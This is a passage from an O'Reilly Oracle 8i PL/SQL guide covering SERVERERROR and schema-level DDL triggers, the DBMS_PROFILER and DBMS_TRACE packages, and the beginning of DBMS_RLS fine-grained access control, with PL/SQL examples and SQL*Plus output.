  AFTER SERVERERROR ON DATABASE
BEGIN
   pipe_error ('DATABASE',
      sysevent || '-' ||
      instance_num || '-' ||
      database_name || '-' ||
      SQLCODE || '-' ||
      server_error (1) || '-' ||
      login_user
      );
END;
/

I will also define a SERVERERROR trigger for the SCOTT schema, so we can explore the way multiple triggers of the same type fire:

CREATE OR REPLACE TRIGGER scott_trap_error
  AFTER SERVERERROR ON SCOTT.SCHEMA
BEGIN
   pipe_error (login_user,
      sysevent || '-' ||
      instance_num || '-' ||
      database_name || '-' ||
      SQLCODE || '-' ||
      server_error (1) || '-' ||
      login_user
      );
END;
/

To test these triggers, I created the following script:

/* Filename on companion disk: serverr.tst */
DECLARE
   exc EXCEPTION;
   PRAGMA EXCEPTION_INIT (exc, -&1);
BEGIN
   RAISE exc;
END;
/

Now I will connect as SCOTT and run the script emulating a date-related error:

SQL> @serverr.tst 1855
*
ERROR at line 1:
ORA-01855: AM/A.M. or PM/P.M. required

If the triggers fired, the watch pipe should contain some information. I can dump the contents of the pipe with a call to watch.show:

SQL> exec watch.show
Contents of WATCH Trace:
***WATCHing at: June 1, 1999 12:54:14
   Context: SCOTT trap_error
   Message: SERVERERROR-1-ORACLE-0-1855-SCOTT
***WATCHing at: June 1, 1999 12:54:14
   Context: DATABASE trap_error
   Message: SERVERERROR-1-ORACLE-0-1855-SCOTT

We learn a few things from this execution:

  • The schema-level trigger fires before the database-level trigger.

TIP: Current behavior in the Oracle database is that a schema-level trigger will fire before a database-level trigger. This sequence is not, however, a documented feature and is subject to change in future versions of Oracle. You should design your triggers so that the trigger logic does not depend on the firing sequence.

  • By the time the SERVERERROR trigger fires, the SQLCODE function does not return the error that was raised. Instead, it returns 0. You must rely on the SERVER_ERROR function to retrieve the error at the top of the error stack.

Now I will connect to the DEMO account in my Oracle 8.1.5 instance and run this script for a different error:

SQL> connect demo/demo.
SQL> @serverr.tst 1652
*
ERROR at line 1:
ORA-01652: unable to extend temp segment by nnn in tablespace

When I take a look at my pipe contents, I have only one entry:

SQL> exec watch.show
Contents of WATCH Trace:
***WATCHing at: June 1, 1999 13:01:38
   Context: DATABASE trap_error
   Message: SERVERERROR-1-ORACLE-0-1652-DEMO

And that is because I did not create a SERVERERROR trigger in the DEMO schema; only the database-level trigger is fired.

6.2.1.4 Checking for specific errors

One other useful technique in this type of trigger is to check for a specific error and then take special action in that instance. There are two ways to do this:

  • Use the trigger WHEN clause to restrict the execution of the trigger logic for a specific error.

  • Use the IS_SERVERERROR function to determine if a specific error has been raised anywhere within the error call stack and then take action.

Let's see how each approach would work. First, suppose that I want to qualify my SERVERERROR trigger at the database level to fire only when the ORA-02292 error occurs ("integrity constraint (constant name) violated - child record found").

I can create my trigger as follows:

/* Filename on companion disk: serverr2.trg */
CREATE OR REPLACE TRIGGER scott_trap_parent_key
  AFTER SERVERERROR ON DATABASE
WHEN (SYS.SERVER_ERROR(1) = 2292)
BEGIN
   pipe_error (
      'DATABASE trap parent key',
      'Invalid attempt to delete primary key by ' ||
      LOGIN_USER);
END;
/

My call to SYS.SERVER_ERROR(1) retrieves the error at the top of the error stack. There are two things to note in this procedure:

  • If I do not qualify the call to SERVER_ERROR with its owner, SYS, I get the following error:

AFTER SERVERERROR ON DATABASE
                       *
ERROR at line 2:
ORA-00942: table or view does not exist

  • I must specify the error number as a positive, not negative, integer value. Otherwise, no match will be detected.

Once the trigger is defined, I test it by trying to delete a row from the dept table whose parent key is referenced by an employee:

SQL> DELETE FROM dept WHERE deptno=10;
*
ERROR at line 1:
ORA-02292: integrity constraint (SCOTT.FK_DEPTNO) violated -
           child record found

I can now see what information was sent to my pipe within the trigger as follows:

SQL> exec watch.show
Contents of WATCH Trace:
***WATCHing at: June 2, 1999 16:27:09
   Context: DATABASE trap parent key trap_error
   Message: Invalid attempt to delete primary key by SCOTT

Here I will demonstrate the IS_SERVERERROR approach with a modified version of the database-level trigger:

/* Filename on companion disk: serverr.trg */
CREATE OR REPLACE TRIGGER trap_error
  AFTER SERVERERROR ON DATABASE
BEGIN
   /* Same tracking as before. */
   pipe_error ('DATABASE', ...);

   IF IS_SERVERERROR (1652) -- POSITIVE NUMBER REQUIRED!
   THEN
      /* Add a file to the tablespace... just a dummy
         entry for the book. */
      pipe_error ('DATABASE', 'Add to tablespace');
   END IF;
END;
/

And now if the ORA-01652 error is raised anywhere in the error stack from the SCOTT schema, I see three entries in the error pipe:

SQL> DECLARE
  2     exc EXCEPTION;
  3     PRAGMA EXCEPTION_INIT (exc, -1652);
  4  BEGIN
  5     RAISE exc;
  6  EXCEPTION
  7     WHEN OTHERS THEN
  8        RAISE VALUE_ERROR;
  9  END;
 10  /
*
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-01652: unable to extend temp segment by nnn in tablespace

SQL> exec watch.show
Contents of WATCH Trace:
***WATCHing at: June 3, 1999 09:47:05
   Context: SCOTT trap_error
   Message: SERVERERROR-1-ORACLE-0-6502-SCOTT
***WATCHing at: June 3, 1999 09:47:05
   Context: DATABASE trap_error
   Message: SERVERERROR-1-ORACLE-0-6502-SCOTT
***WATCHing at: June 3, 1999 09:47:05
   Context: DATABASE trap_error
   Message: Add to tablespace

WARNING: When you use IS_SERVERERROR, you must pass a positive number for it to find a match on the error. So we must wonder once again: are Oracle error numbers negative or positive? It looks like the folks at Oracle have trouble giving a consistent answer to this question.

Previous: 6.1 Triggers on Nested Table View Columns | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 6.3 Schema-Level Event Triggers
6.1 Triggers on Nested Table View Columns | Book Index | 6.3 Schema-Level Event Triggers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.3 Schema-Level Event Triggers

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

6.3 Schema-Level Event Triggers

Oracle8i also allows you to define triggers to respond to schema-level events (also known as user-level events), including the following:

  • Logon to and logoff from a schema

  • Response to a server error

  • CREATE, DROP, and ALTER DDL commands

Good news! We are finally able to place triggers on this broad set of DDL! We can keep track of any attempts to drop tables (successful or otherwise), can notify DBAs of changes to tables or types, and so on.

Here is the syntax for these triggers:

CREATE [ OR REPLACE ] TRIGGER trigger_name
   { BEFORE | AFTER }
   { SERVERERROR |
     LOGON | LOGOFF |
     CREATE | DROP | ALTER }
   ON schema_name.SCHEMA
BEGIN
   pl/sql_statements
END;
schema_name

The name of the schema in which the trigger will fire

pl/sql_statements

The PL/SQL block

trigger_name

The name of the trigger being created

You must have the CREATE ANY TRIGGER system privilege to create a trigger in any schema, on a table in any schema, or on another user's schema (schema_name.SCHEMA in the syntax just given). You will also need privileges to access any of the external references in the trigger's PL/SQL code.

You can define triggers for the same event (such as SERVERERROR) on both the schema and database levels. In this case, the schema-level trigger will fire before the database level, but both will fire.

Table 6.4 describes the different schema-level events on which you may define a trigger.

Table 6.4: Schema-Level Events for Trigger Definitions
Event | Description
SERVERERROR | Oracle fires the trigger whenever a server error message is logged.
LOGON | Oracle fires the trigger after a client application logs on to the database successfully.
LOGOFF | Oracle fires the trigger before a client application logs off the database.
CREATE | Oracle fires the trigger whenever a CREATE statement adds a new database object to the schema.
DROP | Oracle fires the trigger whenever a DROP statement removes an existing database object from the schema.
ALTER | Oracle fires the trigger whenever an ALTER statement modifies an existing database object in the schema.

Each user event has an associated set of attributes. These attributes are actually functions owned by SYS that return the values of characteristics relevant to the event. The current set of available attributes includes those listed in the previous section on database-level events (see Table 6.2), plus those listed in Table 6.5.

Table 6.5: Additional Attributes for Schema-Level Events
Name | Datatype | Description
DICTIONARY_OBJ_OWNER | VARCHAR2(30) | Owner of the dictionary object on which the DDL operation occurred
DICTIONARY_OBJ_NAME | VARCHAR2(30) | Name of the dictionary object on which the DDL operation occurred
DICTIONARY_OBJ_TYPE | VARCHAR2(30) | Type of the dictionary object on which the DDL operation occurred
DES_ENCRYPTED_PASSWORD | VARCHAR2(30) | DES-encrypted password of the user being created or altered

Table 6.6 lists the restrictions and attributes for each schema-level event.

Table 6.6: Restrictions and Attributes for Schema-Level Events
Event | Conditions/Restrictions | Attributes
LOGON | You can specify a condition using either USERID( ) or USERNAME( ). | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME
LOGOFF | You can specify a condition using either USERID( ) or USERNAME( ). | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME
BEFORE CREATE AFTER CREATE | Inside either of these triggers, you cannot drop the object being created. The trigger executes in the current transaction. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME DICTIONARY_OBJ_TYPE DICTIONARY_OBJ_NAME DICTIONARY_OBJ_OWNER
BEFORE ALTER AFTER ALTER | Inside either of these triggers, you cannot drop the object being altered. The trigger executes in the current transaction. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME DICTIONARY_OBJ_TYPE DICTIONARY_OBJ_NAME DICTIONARY_OBJ_OWNER
BEFORE DROP AFTER DROP | Inside either of these triggers, you cannot alter the object being dropped. The trigger executes in the current transaction. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME DICTIONARY_OBJ_TYPE DICTIONARY_OBJ_NAME DICTIONARY_OBJ_OWNER

6.3.1 A Schema-Level Event Trigger Example

Suppose that I want to make sure that even if a user is able to connect to a schema, she or he will not be able to drop tables from that schema. Without these DDL triggers, that would be impossible because, if I can connect, I "own" everything and can do with them what I want.

With the DROP trigger, however, I can add this extra level of security. The following trigger asserts the following rule: you cannot drop any tables starting with "EMP" in the SCOTT schema:

/* Filename on companion disk: stopdrop.trg */
CREATE OR REPLACE TRIGGER no_drop_trg
  BEFORE DROP ON SCOTT.SCHEMA
DECLARE
   v_msg VARCHAR2(1000) :=
      'No drop allowed on ' ||
       DICTIONARY_OBJ_OWNER || '.' ||
       DICTIONARY_OBJ_NAME || ' from ' ||
       LOGIN_USER;
BEGIN
  IF DICTIONARY_OBJ_OWNER = 'SCOTT' AND
     DICTIONARY_OBJ_NAME LIKE 'EMP%' AND
     DICTIONARY_OBJ_TYPE = 'TABLE'
  THEN
     watch.topipe;
     watch.action (
        'BEFORE DROP trigger',  v_msg);
     RAISE_APPLICATION_ERROR (
        -20905, v_msg);
  END IF;
END;
/

I rely on the special attributes available to me in this trigger -- namely, the functions returning values for DICTIONARY_OBJ_OWNER, DICTIONARY_OBJ_NAME, and DICTIONARY_OBJ_TABLE, to indicate whether the specified table being dropped is out of bounds. If so, I send a message to my watch pipe and then stop the drop request by raising an exception.

Here's what happens when I attempt to drop a now-undroppable table:

SQL> drop table emp2;
drop table emp2
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20905: No drop allowed on SCOTT.EMP2 from SCOTT

Previous: 6.2 Database-Level Event Triggers | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7. New and Enhanced Built-in Packages in Oracle8i
6.2 Database-Level Event Triggers | Book Index | 7. New and Enhanced Built-in Packages in Oracle8i
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] New and Enhanced Built-in Packages in Oracle8i

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 6.3 Schema-Level Event Triggers Chapter 7 Next: 7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility

7. New and Enhanced Built-in Packages in Oracle8i

Contents:
DBMS_PROFILER: Providing Code Profiling
DBMS_TRACE: Providing a PL/SQL Trace Facility
DBMS_RLS: Implementing Fine-Grained Access Control
UTL_COLL: Using Collection Locators
LOB Enhancements
New DBMS_AQ and DBMS_AQADM Features
New DBMS_UTILITY Features

Oracle has added a number of new built-in packages in Oracle8i. Many of these packages offer very specialized capabilities for replication, database administration, and online analytical processing (OLAP). Other packages will play a more crucial role for PL/SQL developers in the brave new world of Oracle8i. We'll introduce you to the capabilities of the packages in this second category (and existing packages, such as DBMS_UTILITY, that have been enhanced) in this chapter. More comprehensive, reference-oriented coverage of the packages will be included in the second edition of Oracle Built-in Packages (O'Reilly & Associates, expected in 2000). In addition to the new packages, Oracle8i includes a new built-in conversion function, TO_LOB, which is also described in this chapter.

In addition, a number of other new and modified packages are covered throughout the book in their appropriate chapters, as follows:

  • The DBMS_JAVA and DBMS_JAVA_TEST packages are described in Chapter 9, Calling Java from PL/SQL.

  • There are several new programs in DBMS_SESSION, covered in Chapter 8, Deploying Fine-Grained Access Control.

Table 7.1 provides a complete list of packages added in Oracle8i.

Table 7.1: New Built-in Packages in Oracle8i
Package Name | Description
DBMS_INDEXING | Contains specifications for packages and types used in DBMS extensibility infrastructure (indexing, optimization, etc.).
DBMS_JAVA | Gives you the ability to modify the behavior of the Aurora Java Virtual Machine ( JVM) in Oracle. You can enable output (meaning that Java's System.out.println will act like DBMS_OUTPUT.PUT_LINE), set compiler and debugger options, and more.
DBMS_JAVA_TEST | Interface to Aurora JVM to let you easily test methods (functions) defined in classes that you have loaded into Oracle.
DBMS_LOGMNR DBMS_LOGMNR_D | Interact with and support a variety of operations in the new Oracle utility LogMiner, which allows you to read information contained in online and archived redo logs based on selection criteria.
DBMS_PROFILER | Accesses performance and code coverage analysis of your PL/SQL application.
DBMS_REPAIR | Offers a set of procedures to facilitate data corruption repair.
DBMS_REPCAT_FLA DBMS_REPCAT_FLA_MAS DBMS_REPCAT_FLA_UTL | New replication packages.
DBMS_REPCAT_RGT | Offers an API to control the maintenance and definition of refresh group templates.
DBMS_RESOURCE_MANAGER | An API to the Database Resource Manager that allows you to maintain resource management plans, consumer groups, and plan directives.
DBMS_RESOURCE_MANAGER_PRIVS | Maintains privileges associated with resource consumer groups.
DBMS_RLS | Offers an interface to the fine-grained access control administrative features of Oracle8i; only available with the Enterprise Edition.
DBMS_RULE DBMS_RULE_ADM DBMS_RULE_EXIMP | Administer export/import information in the Rules Engine Administrator.
DBMS_SPACE_ADMIN | Provides tablespace and segment space administration that is not available through the standard SQL statements.
DBMS_STATS | Provides a PL/SQL-based mechanism to allow users to view and modify optimizer statistics gathered on database objects.
DBMS_SUMMARY | Manages and refreshes table-based summaries.
DBMS_TRACE | Allows PL/SQL developers to trace the execution of stored PL/SQL functions, procedures, and exceptions.
DBMS_TTS | Contains procedures and functions supporting the Pluggable Tablespace feature. These programs are mostly called by the import/export utilities.
OUTLN_PKG | Contains a functional interface for procedures and functions that are associated with the management of stored outlines.
UTL_COLL | Allows PL/SQL programs to use collection locators in order to perform queries and updates.

7.1 DBMS_PROFILER: Providing Code Profiling

In Oracle8i, Oracle adds a new package, DBMS_PROFILER, to facilitate performance and code coverage analysis of your PL/SQL application. Use this package to define one or more runs of your code and collect a wide range of information about the code that is executed in that run.

The API for this package is very simple. You start the profiler, run your code, and stop the profiler. The PL/SQL engine will have populated up to three different tables with the performance and code coverage information. You can then use SQL -- either your own queries or one of the reports offered by Oracle -- to examine the results of the run.

7.1.1 DBMS_PROFILER Programs

The DBMS_PROFILER package contains the two functions listed in Table 7.2.

Table 7.2: DBMS_PROFILER Programs
Program | Description
DBMS_PROFILER.START_PROFILER function | Starts profiling in the current connection. You can provide an optional string to give a name to the profiling session.
DBMS_PROFILER.STOP_PROFILER function | Ends profiling in the current connection.

7.1.2 Installing DBMS_PROFILER

The DBMS_PROFILER package may not have been installed automatically for you when the database was set up. In this case, you will need to install the package specification and body. After that, you will want to create profiler tables and packages to help you analyze the output (stored in the profiler tables) more effectively.

Table 7.3 shows all of the files related to DBMS_PROFILER that you will probably want to run. You will find most of these files on Windows NT in one of the following directories (the exceptions are the demo files profrep.sql and profsum.sql), depending on how you installed the database:

\Oracle\Ora81\Rdbms\Admin\
\Ora81\Rdbms\Admin\

Regardless of the higher-level directory structure, these files will always be found in the Rdbms\Admin subdirectory under the Oracle 8.1 home directory.

Table 7.3: DBMS_PROFILER Files

File

Description

dbmspbp.sql

DBMS_PROFILER package specification; this package should be created automatically when you install the Oracle8i database. You may want to examine this file to read the documentation.

prvtpbp.plb

DBMS_PROFILER package body/library definition. This is a wrapped file and should be executed automatically when you install the Oracle8i database.

profload.sql

Orchestrates the loading of dbmspbp.sql and prvtpbp.plb. This script must be run under a DBA account.

proftab.sql

Script to create the profiling tables. When you profile a program, data is written to one or more of these tables:

  • plsql_profiler_runs

  • plsql_profiler_units

  • plsql_profiler_data

profrep.sql

Creates a set of views and a reporting package named prof_report_utilities that offers an API to more easily extract reports from the profiling tables. Found under \plsql\demo.

profsum.sql

A set of ad hoc queries and calls to programs in the prof_report_utilities package. Don't run the whole file unless you have a small volume of data in your profiling tables. Instead, go through the file and extract those queries that you want to run. Found under \plsql\demo.

You can define the profiler tables in each individual schema developers want to profile. You can also define the profiler tables in a central schema, to be shared among multiple developers. In this case, you need to grant full access to all of the tables and to the sequence that defines the run number. You will also need to create public synonyms.

The profiler will not profile a PL/SQL block unless the current user has CREATE access on the block.

7.1.3 DBMS_PROFILER Example

It's certainly easy enough to use the PL/SQL profiler. Here's an example of the code you would execute:

/* Filename on companion disk: profiler.sql */
BEGIN
   DBMS_OUTPUT.PUT_LINE (
      DBMS_PROFILER.START_PROFILER (
         'showemps ' ||
         TO_CHAR (SYSDATE, 'YYYYMMDD HH24:MI:SS')
         )
      );
   showemps;
   DBMS_OUTPUT.PUT_LINE (
      DBMS_PROFILER.STOP_PROFILER);
END;
/

If you do not pass an argument to START_PROFILER, then the "name" of the profile run is SYSDATE. In the example just given, I want to record both the name of the program I am running and the date-time stamp so that I can distinguish this run from others for the same program.

7.1.4 Profiler Return Codes

Both START_PROFILER and END_PROFILER are functions that return a status code. A value of 0 means that the program was called successfully. A nonzero return code indicates a problem, and may be one of the values listed in Table 7.4.

Table 7.4: DBMS_PROFILER Return Codes
Database Constant | Value | Description
DBMS_PROFILER.SUCCESS | 0 | No problem!
DBMS_PROFILER.ERROR_PARM | 1 | A subprogram was called with an incorrect parameter.
DBMS_PROFILER.ERROR_IO | 2 | An attempt to flush profile data to the tables failed. Make sure the tables are present and accessible and have sufficient space for the inserts.
DBMS_PROFILER.ERROR_VERSION | -1 | The engine has detected a mismatch between the profiler package and the database version. The only possible recovery is to install the correct version of the package.

Consider yourself warned: unless you are running a very simple application, the profiler will write thousands of rows of data to its tables. To make it easier for you to manage all this information, I have created the following scripts, located on the companion disk:

proftrunc.sql

Truncates all three profiling tables

profdel.sql

Deletes all rows from the three profiling tables for the specified run number

Previous: 6.3 Schema-Level Event Triggers | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility
6.3 Schema-Level Event Triggers | Book Index | 7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility

Earlier versions of Oracle offered some PL/SQL trace capabilities, but Oracle8i provides an API that allows you to more easily specify and control the tracing of the execution of PL/SQL procedures, functions, and exceptions. DBMS_TRACE provides programs to start and stop PL/SQL tracing in a session. When tracing is turned on, the engine collects data as the program executes. The data is then written out to the Oracle Server trace file.

TIP: The PL/SQL trace facility provides you with a trace file that shows you the specific steps executed by your code. The PL/SQL profiler (described earlier in this chapter) offers a much more comprehensive analysis of your application, including timing information and counts of the number of times a specific line was executed.

7.2.1 Installing DBMS_TRACE

This package may not have been installed automatically with the rest of the built-in packages. To determine whether DBMS_TRACE is present, connect to SYS and execute this command:

 BEGIN DBMS_TRACE.CLEAR_PLSQL_TRACE; END;
/

If you see this error:

PLS-00201: identifier 'DBMS_TRACE.CLEAR_PLSQL_TRACE'
           must be declared

then you must install the package. To do this, remain connected as SYS and run the following files in the order specified:

\Oracle\Ora81\Rdbms\Admin\dbmspbt.sql
\Oracle\Ora81\Rdbms\Admin\prvtpbt.plb

TIP: The directory shown here is the default for a Windows NT installation. Your Oracle 8.1 home directory may be different, but these files will always be found in the Rdbms\Admin subdirectory under the Oracle 8.1 home directory.

7.2.2 DBMS_TRACE Programs

The programs in the DBMS_TRACE package are listed in Table 7.5.

Table 7.5: DBMS_TRACE Programs
Program | Description
SET_PLSQL_TRACE procedure | Starts PL/SQL tracing in the current session
CLEAR_PLSQL_TRACE procedure | Stops the dumping of trace data for that session
PLSQL_TRACE_VERSION procedure | Gets the major and minor version numbers of the DBMS_TRACE package

To trace execution of your PL/SQL code, you must first start the trace with a call to:

DBMS_TRACE.SET_PLSQL_TRACE (trace_level INTEGER);

in your current session, where trace_level is one of the following values:

DBMS_TRACE.trace_all_calls          CONSTANT INTEGER := 1;
DBMS_TRACE.trace_enabled_calls      CONSTANT INTEGER := 2;
DBMS_TRACE.trace_all_exceptions     CONSTANT INTEGER := 4;
DBMS_TRACE.trace_enabled_exceptions CONSTANT INTEGER := 8;

To turn on tracing from all programs executed in your session, issue this call:

DBMS_TRACE.SET_PLSQL_TRACE (DBMS_TRACE.trace_all_calls);

To turn on tracing for all exceptions raised during the session, issue this call:

DBMS_TRACE.SET_PLSQL_TRACE (DBMS_TRACE.trace_all_exceptions);

You then run your code; when you are done, you stop the trace session by calling:

DBMS_TRACE.CLEAR_PLSQL_TRACE;

You can then examine the contents of the trace file. The names of these files are generated by Oracle; you will mostly need to pay attention to the modification date of the files to figure out which file to examine. The location of the trace files is discussed later in Section 7.2.4, "Format of Collected Data . You cannot use PL/SQL tracing with the multithreaded server (MTS).

7.2.3 Controlling Trace File Contents

The trace files produced by DBMS_TRACE can get really big. You can minimize the trace output and focus it by obtaining trace information only for specific programs that you have enabled for trace data collection.

TIP: You cannot use this approach with remote procedure calls.

To enable a specific program for tracing, you can alter the session to enable any programs that are created or replaced in the session. To take this approach, issue this command:

ALTER SESSION SET PLSQL_DEBUG=TRUE;

If you don't want to alter your entire session, you can recompile a specific program unit in debug mode as follows (not applicable to anonymous blocks):

ALTER [PROCEDURE | FUNCTION | PACKAGE BODY] program_name COMPILE DEBUG;

After you have enabled the programs in which you're interested, the following call will initiate tracing just for those program units:

DBMS_TRACE.SET_PLSQL_TRACE (DBMS_TRACE.trace_enabled_calls);

You can also restrict the trace information to only those exceptions raised within enabled programs with this call:

DBMS_TRACE.SET_PLSQL_TRACE (DBMS_TRACE.trace_enabled_exceptions);

If you request tracing for all programs or exceptions and also request tracing only for enabled programs or exceptions, the request for "all" takes precedence.

7.2.4 Format of Collected Data

If you request tracing only for enabled program units and the current program unit is not enabled, then no trace data is written. If the current program unit is enabled for tracing, then call tracing writes out the program unit type, name, and stack depth. If the current program unit is not enabled, then call tracing writes out the program unit type, line number, and stack depth.

Exception tracing writes out the line number. Raising an exception records trace information on whether the exception is user defined or predefined, and records the exception number in the case of predefined exceptions. If you raise a user-defined exception, you will always see an error code of 1.

In Oracle8i under Windows NT, the trace files are written to the following directory (by default):

Oracle\Admin\Oracle81\udump

Here is an example of the output from a trace of the procedure showemps:

*** 1999.06.14.09.59.25.394
*** SESSION ID:(9.7) 1999.06.14.09.59.25.344
------------ PL/SQL TRACE INFORMATION -----------
Levels set :  1
Trace:  ANONYMOUS BLOCK: Stack depth = 1
Trace:   PROCEDURE SCOTT.SHOWEMPS: Call to entry at line 5 Stack depth = 2
Trace:    PACKAGE BODY SYS.DBMS_SQL: Call to entry at line 1 Stack depth = 3
Trace:     PACKAGE BODY SYS.DBMS_SYS_SQL: Call to entry at line 1 Stack depth = 4
Trace:     PACKAGE BODY SYS.DBMS_SYS_SQL: ICD vector index = 21 Stack depth = 4
Trace:    PACKAGE PLVPRO.P: Call to entry at line 26 Stack depth = 3
Trace:    PACKAGE PLVPRO.P: ICD vector index = 6 Stack depth = 3
Trace:    PACKAGE BODY PLVPRO.P: Call to entry at line 1 Stack depth = 3
Trace:    PACKAGE BODY PLVPRO.P: Call to entry at line 1 Stack depth = 3
Trace:     PACKAGE BODY PLVPRO.P: Call to entry at line 1 Stack depth = 4

Previous: 7.1 DBMS_PROFILER: Providing Code Profiling | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.3 DBMS_RLS: Implementing Fine-Grained Access Control
7.1 DBMS_PROFILER: Providing Code Profiling | Book Index | 7.3 DBMS_RLS: Implementing Fine-Grained Access Control
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.3 DBMS_RLS: Implementing Fine-Grained Access Control

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.3 DBMS_RLS: Implementing Fine-Grained Access Control

Fine-grained access control (FGAC) is a new feature in Oracle8i that allows you to implement security policies with functions and then associate those security policies with tables or views. The database server enforces those policies automatically, no matter how the data is accessed. For lots more information on FGAC, see Chapter 8. I'll focus here on the new built-in package, DBMS_RLS.

7.3.1 Installing DBMS_RLS

The DBMS_RLS package should have been installed automatically with the rest of the built-in packages. If you are not able to execute the procedures in the package, you can install the package yourself. To do this, connect to the SYS schema and run the following files in the order specified:

\Oracle\Ora81\Rdbms\Admin\dbmsrlsa.sql
\Oracle\Ora81\Rdbms\Admin\prvtrlsa.plb

TIP: The directory shown here is the default for a Windows NT installation. Your Oracle 8.1 home directory may be different, but these files will always be found in the Rdbms\Admin subdirectory under the Oracle 8.1 home directory.

7.3.2 DBMS_RLS Programs

The DBMS_RLS package offers a set of procedures to administer your security policies. Fine-grained access control usually affects the rows a user can access -- hence the name of the package, the Row-Level Security (RLS) administrative interface. Using this package, you can add, drop, enable, disable, and refresh the policies you create. Table 7.6 lists the programs in this package.

Table 7.6: DBMS_RLS Programs
Program | Description
ADD_POLICY procedure | Creates or registers a fine-grained access control policy for a table or view
DROP_POLICY procedure | Drops a fine-grained access control policy from a table or view
ENABLE_POLICY procedure | Enables or disables a fine-grained access control policy
REFRESH_POLICY procedure | Causes all the cached statements associated with the policy to be reparsed

7.3.3 Committing with DBMS_RLS

Each of the DBMS_RLS procedures causes the current transaction to commit before carrying out the specified operation. The procedures will also issue a commit at the end of their operations.

This commit processing does not occur if the DBMS_RLS action takes place within a DDL event trigger. In this case, the DBMS_RLS action becomes a part of the DDL transaction. You might, for example, place a trigger on the CREATE TABLE user event (another new Oracle8i capability, described in Chapter 6, New Trigger Features in Oracle8i). This trigger can then call DBMS_RLS.ADD_POLICY to add a policy on that table.

7.3.4 ADD_POLICY: Adding a Policy

Use the DBMS_RLS.ADD_POLICY procedure to add a policy for use in the FGAC architecture. Here is the header for this program:

DBMS_RLS.ADD_POLICY (
   object_schema   IN VARCHAR2 := NULL,
   object_name     IN VARCHAR2,
   policy_name     IN VARCHAR2,
   function_schema IN VARCHAR2 := NULL,
   policy_function IN VARCHAR2,
   statement_types IN VARCHAR2 := NULL,
   update_check    IN BOOLEAN  := FALSE,
   enable          IN BOOLEAN  := TRUE);

The parameters for this procedure are listed in Table 7.7.

Table 7.7: DBMS_RLS.ADD_POLICY Parameters

Parameter

Description

object_schema

Schema containing the table or view. The default is the currently connected schema (that returned by USER).

object_name

Name of the table or view to which the policy is added.

policy_name

Name of the policy to be added. It must be unique for the same table or view. If not, you will get this error:

ORA-28101: policy already exists

function_schema

Schema of the function that is used to implement the policy. The default is the currently connected schema (that returned by USER).

policy_function

Name of the function that generates a predicate for the policy. If the function is defined within a package, then you must specify the function in the form package.function, as in the following example:

'personnel_rules.by_department'

statement_types

Statement types to which the policy will apply. Those types can be any combination of SELECT, INSERT, UPDATE, and DELETE. The default is to apply to all of these types. This is a comma-delimited list. If you provide a list with the wrong structure, you will receive one of these compile-time errors:

ORA-00911: invalid character
ORA-28106: input value for argument #6 is not valid

update_check

Optional argument for INSERT or UPDATE statement types. The default is FALSE. Setting update_check to TRUE causes the server to check the policy against the value after the insert or update has been performed.

enable

Indicates if the policy is enabled when it is added. The default is TRUE. If you specify FALSE, then you must also call DBMS_RLS.ENABLE_POLICY after you have added the policy.

The following rules apply when adding a policy:

  • The policy function that generates a dynamic predicate is called by the Oracle server. Your function must conform to the following header:

    FUNCTION policy_function (
   object_schema IN VARCHAR2,
   object_name VARCHAR2)
    RETURN VARCHAR2;

    Where object_schema is the schema owning the table or view and object_name is the table or view to which the policy applies. Your function does not necessarily have to use those arguments, but they must be included in the parameter list.

  • The maximum length of the predicate that the policy function can return is 2000 bytes.

  • The policy function must have a purity level of WNDS (writes no database state), so that the function can be called within a SQL statement.

  • If a SQL statement causes the generation of more than one dynamic predicate for the same object, these predicates are combined with an AND operator. In other words, all dynamic predicates must be satisfied.

  • The definer rights model is used to resolve any references in the policy function. Any object lookups required are performed against the owner of the policy function, not the owner of the table or view on which the policy is based.

